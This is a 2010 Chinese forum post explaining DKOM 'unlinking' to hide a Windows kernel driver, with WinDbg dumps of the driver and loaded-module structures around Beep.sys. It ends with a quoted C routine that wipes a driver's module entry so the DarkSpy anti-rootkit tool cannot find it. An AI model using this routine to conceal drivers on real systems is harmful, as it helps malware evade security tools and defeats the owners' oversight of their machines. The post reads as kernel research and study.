摘链技术
本帖最后由 whypro 于 2010-9-23 18:15 编辑摘链**SECTION [.写在前面的话]
最近日子过的比较颠狂
写篇随笔记录一下
这次想聊的是DKOM技术,换言之也就是KillVXK前辈经常挂在嘴边的所谓“摘链技术”。 ^_^
那么我们今天“摘”什么呢?
答曰:今天我们摘驱动,换言之我们想用DKOM技术隐藏驱动。
最后还附上了KillVXK前辈的代码片断,用于绕开老版本的Darkspy。
今天8.1
本人水平差,仅以此随笔献给伟大的中国人民解放军建军80周年。
SECTION [.基础知识]
_DRIVER_OBJECT 结构:
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x008 Flags : Uint4B
+0x00c DriverStart : Ptr32 Void
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32 Void
+0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH
+0x02c DriverInit : Ptr32 long
+0x030 DriverStartIo : Ptr32 void
+0x034 DriverUnload : Ptr32 void
+0x038 MajorFunction : Ptr32 long
SECTION [.关键点] +0x014 DriverSection : Ptr32 Void
这个可爱的Void小指针指向哪里呢?关于这点,我觉得《Rootkits - Subverting the Windows Kernel》根本就没打算讲清楚,胡乱说了一气,想胡弄谁呀?
实际上,这个Void要强制转换成“_LDR_DATA_TABLE_ENTRY”,再看下子:
LDR_DATA_TABLE_ENTRY 结构:
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 Void
+0x04c PatchInformation : Ptr32 Void
了解到这个程度,基础知识就基本够用了。
SECTION [.实验 && 实践]
前段时间刚写过8254的代码,就用Win32的 \Driver\Beep 驱动开始实验,看着似乎亲切些~
kd> !object \Driver\beep
Object:
852d9400
Type: (85fa33b0) Driver
ObjectHeader: 852d93e8
HandleCount: 0 PointerCount: 3
Directory Object: e1008c40 Name: Beep
kd> !strct DRIVER_OBJECT 852d9400
struct _DRIVER_OBJECT (sizeof=168)
+00 int16 Type = 0004
+02 int16 Size = 00a8
+04 struct _DEVICE_OBJECT *DeviceObject = 852D98A8
+08 uint32 Flags = 00000012
+0c void *DriverStart = F7C45000
+10 uint32 DriverSize = 00001080
+14 void *DriverSection = 85EBA008
+18 struct _DRIVER_EXTENSION *DriverExtension = 852D94A8
+1c struct _UNICODE_STRING DriverName
+1c uint16 Length = 0018
+1e uint16 MaximumLength = 0018
+20 uint16 *Buffer = E18A0960
+24 struct _UNICODE_STRING *HardwareDatabase = 8068EB10
+28 struct _FAST_IO_DISPATCH *FastIoDispatch = 00000000
+2c function *DriverInit = F7C4566C
+30 function *DriverStartIo = F7C4551A
+34 function *DriverUnload = F7C45620
+38 function *MajorFunction = F7C4546A
804FC8DE
F7C454B8
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
F7C45400
804FC8DE
804FC8DE
804FC8DE
F7C45354
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
804FC8DE
还可以让显示更清楚些,而且还方便对比:
kd> dt nt!_DRIVER_OBJECT 852d9400
+0x000 Type : 4
+0x002 Size : 168
+0x004 DeviceObject : 0x852d98a8 _DEVICE_OBJECT
+0x008 Flags : 0x12
+0x00c DriverStart : 0xf7c45000
+0x010 DriverSize : 0x1080
+0x014 DriverSection : 0x85eba008
+0x018 DriverExtension : 0x852d94a8 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\Driver\Beep"
+0x024 HardwareDatabase : 0x8068eb10 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : (null)
+0x02c DriverInit : 0xf7c4566c long Beep!DriverEntry+0
+0x030 DriverStartIo : 0xf7c4551a void Beep!BeepStartIo+0
+0x034 DriverUnload : 0xf7c45620 void Beep!BeepUnload+0
+0x038 MajorFunction : 0xf7c4546a long Beep!BeepOpen+0
关键的一步分析:
kd> dt nt!_LDR_DATA_TABLE_ENTRY 85eba008
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x85677008 - 0x85625008 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x018 DllBase : 0xf7c45000
+0x01c EntryPoint : 0xf7c4566c
+0x020 SizeOfImage : 0x2000
+0x024 FullDllName : _UNICODE_STRING "\SystemRoot\System32\Drivers\Beep.SYS"
+0x02c BaseDllName : _UNICODE_STRING "Beep.SYS"
+0x034 Flags : 0x9104000
+0x038 LoadCount : 1
+0x03a TlsIndex : 0
+0x03c HashLinks : _LIST_ENTRY [ 0xffffffff - 0xc82c ]
+0x03c SectionPointer : 0xffffffff
+0x040 CheckSum : 0xc82c
+0x044 TimeDateStamp : 0xfffffffe
+0x044 LoadedImports : 0xfffffffe
+0x048 EntryPointActivationContext : (null)
+0x04c PatchInformation : 0x00650042
好的,到现在您看到了什么?我反正看到了非常多的有用信息,足够我理解摘链用的数据结构了~
当然,还可以再细化一下:
kd> dt nt!_LIST_ENTRY 85eba008
[ 0x8562f008 - 0x85eba008 ]
+0x000
Flink : 0x8562f008 _LIST_ENTRY
[ 0x8562f008 - 0x85eba008 ]
// 前一个结构的前后 //
+0x004
Blink : 0x85eba008 _LIST_ENTRY
[ 0x85eba008 - 0x8561abe8 ]
// 后一个结构的前后 //
此时,驱动信息的双向链表已体现的淋漓尽致。
Beep.sys的前一项是vga.sys:
kd> dt nt!_LDR_DATA_TABLE_ENTRY 85677008
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x8562f008 - 0x85eba008 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0xf7a298b0 - 0x1 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x018 DllBase : 0xf7a29000
+0x01c EntryPoint : 0xf7a2d642
+0x020 SizeOfImage : 0x6000
+0x024 FullDllName : _UNICODE_STRING "\SystemRoot\System32\drivers\vga.sys"
+0x02c BaseDllName : _UNICODE_STRING "vga.sys"
+0x034 Flags : 0x9104000
+0x038 LoadCount : 1
+0x03a TlsIndex : 0
+0x03c HashLinks : _LIST_ENTRY [ 0xffffffff - 0x1265e ]
+0x03c SectionPointer : 0xffffffff
+0x040 CheckSum : 0x1265e
+0x044 TimeDateStamp : 0x85fde361
+0x044 LoadedImports : 0x85fde361
+0x048 EntryPointActivationContext : (null)
+0x04c PatchInformation : 0x00670076
vga.sys再往前一项是mnmdd.sys(what's this?):
kd> dt nt!_LDR_DATA_TABLE_ENTRY 0x8562f008
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x85498548 - 0x85677008 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x018 DllBase : 0xf7c47000
+0x01c EntryPoint : 0xf7c47646
+0x020 SizeOfImage : 0x2000
+0x024 FullDllName : _UNICODE_STRING "\SystemRoot\System32\Drivers\mnmdd.SYS"
+0x02c BaseDllName : _UNICODE_STRING "mnmdd.SYS"
+0x034 Flags : 0x9104000
+0x038 LoadCount : 1
+0x03a TlsIndex : 0
+0x03c HashLinks : _LIST_ENTRY [ 0xffffffff - 0xf3f7 ]
+0x03c SectionPointer : 0xffffffff
+0x040 CheckSum : 0xf3f7
+0x044 TimeDateStamp : 0x85fde361
+0x044 LoadedImports : 0x85fde361
+0x048 EntryPointActivationContext : (null)
+0x04c PatchInformation : 0x006e006d
Beep.sys的后一项是:
kd> dt nt!_LDR_DATA_TABLE_ENTRY 0x85625008
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x85eba008 - 0x8561abe8 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x018 DllBase : 0xf7d15000
+0x01c EntryPoint : 0xf7d1559a
+0x020 SizeOfImage : 0x1000
+0x024 FullDllName : _UNICODE_STRING "\SystemRoot\System32\Drivers\Null.SYS"
+0x02c BaseDllName : _UNICODE_STRING "Null.SYS"
+0x034 Flags : 0x9104000
+0x038 LoadCount : 1
+0x03a TlsIndex : 0
+0x03c HashLinks : _LIST_ENTRY [ 0xffffffff - 0x8483 ]
+0x03c SectionPointer : 0xffffffff
+0x040 CheckSum : 0x8483
+0x044 TimeDateStamp : 0xfffffffe
+0x044 LoadedImports : 0xfffffffe
+0x048 EntryPointActivationContext : (null)
+0x04c PatchInformation : 0x0075004e
SECTION [.小结]
这一段驱动链表大致是这样的:
0x8562f008 0x85677008 0x85eba008 0x85625008
mnmdd.sys vga.sys beep.sys null.sys
..
<------ ------> <------ ------> <------ ------> <------ ------>
..
0x85498548
0x85677008 0x8562f008 0x85eba008 0x85677008 0x85625008 0x85eba008
0x8561abe8
完全没有什么神秘的了,想摘什么就摘什么吧!~
SECTION [.扩展]
现在再回过来看《Rootkits - Subverting the Windows Kernel》第七章,你就会觉得,他们所说的“MODULE_ENTRY”结构纯粹是给狗熊的玉米,因为我Google了所谓的“_MODULE_ENTRY”(DDK、Symbols中均没有这样的东西),它的定义大致是这样的:
/* MODULE_ENTRY struct */
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod;
DWORD unknown;
DWORD base;
DWORD driver_start;
DWORD sectionsize;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
其实就是一个简化的“_LDR_DATA_TABLE_ENTRY”,搞出这种东西的意义也就是:“熊~ 给你一个玉米,吃去吧,你就别打破沙锅问到底了。”
我们答曰:想的美!
SECTION [.KillVXK前辈的“谈谈欺骗Darkspy 1.0.5非fix版的驱动隐藏方法”]
代码是这样的:
// 处理模块,欺骗darkspy //
// 传入参数drvobj //
void ProModule(PDRIVER_OBJECT drvobj)
{
PLDR_MODULE section = (PLDR_MODULE)drvobj->DriverSection;
if (section != NULL)
{
section->DllBase = 0;
section->EntryPoint = 0;
section->SizeOfImage = 0;
section->CheckSum = 0;
memzero(section->BaseDllName.Buffer, section->BaseDllName.MaximumLength);
memzero(section->FullDllName.Buffer, section->FullDllName.MaximumLength);
drvobj->DriverSection = 0;
}
return ;
}
代码和我们上面说的东西很紧密,瞎猜都能猜出是在干什么,最后一个 drvobj->DriverSection = 0,从此抹平了许多东西~
没有反汇编过Darkspy 1.0.5 的非Fix版本,不知道它内部是怎么偷的这个懒最终被KillVXK发现了,嘿嘿......
继续练习反汇编。
最后打点信息,收功。
PLDR_DATA_TABLE_ENTRY Section = DriverObject->DriverSection;
if(Section != NULL)
{
DPRINT("DriverObject->DriverSection = 0x%x\n", DriverObject->DriverSection);
DPRINT("Section->BaseAddress = 0x%x\n", Section->BaseAddress);
DPRINT("Section->EntryPoint = 0x%x\n", Section->EntryPoint);
DPRINT("Section->SizeOfImage = 0x%x\n", Section->SizeOfImage);
DPRINT("Section->CheckSum = 0x%x\n", Section->CheckSum);
DPRINT("Section->BaseDllName [%ws]\n", Section->BaseDllName.Buffer);
DPRINT("Section->FullDllName [%ws]\n", Section->FullDllName.Buffer);
}
NUPT - WANG yu
页:
[1]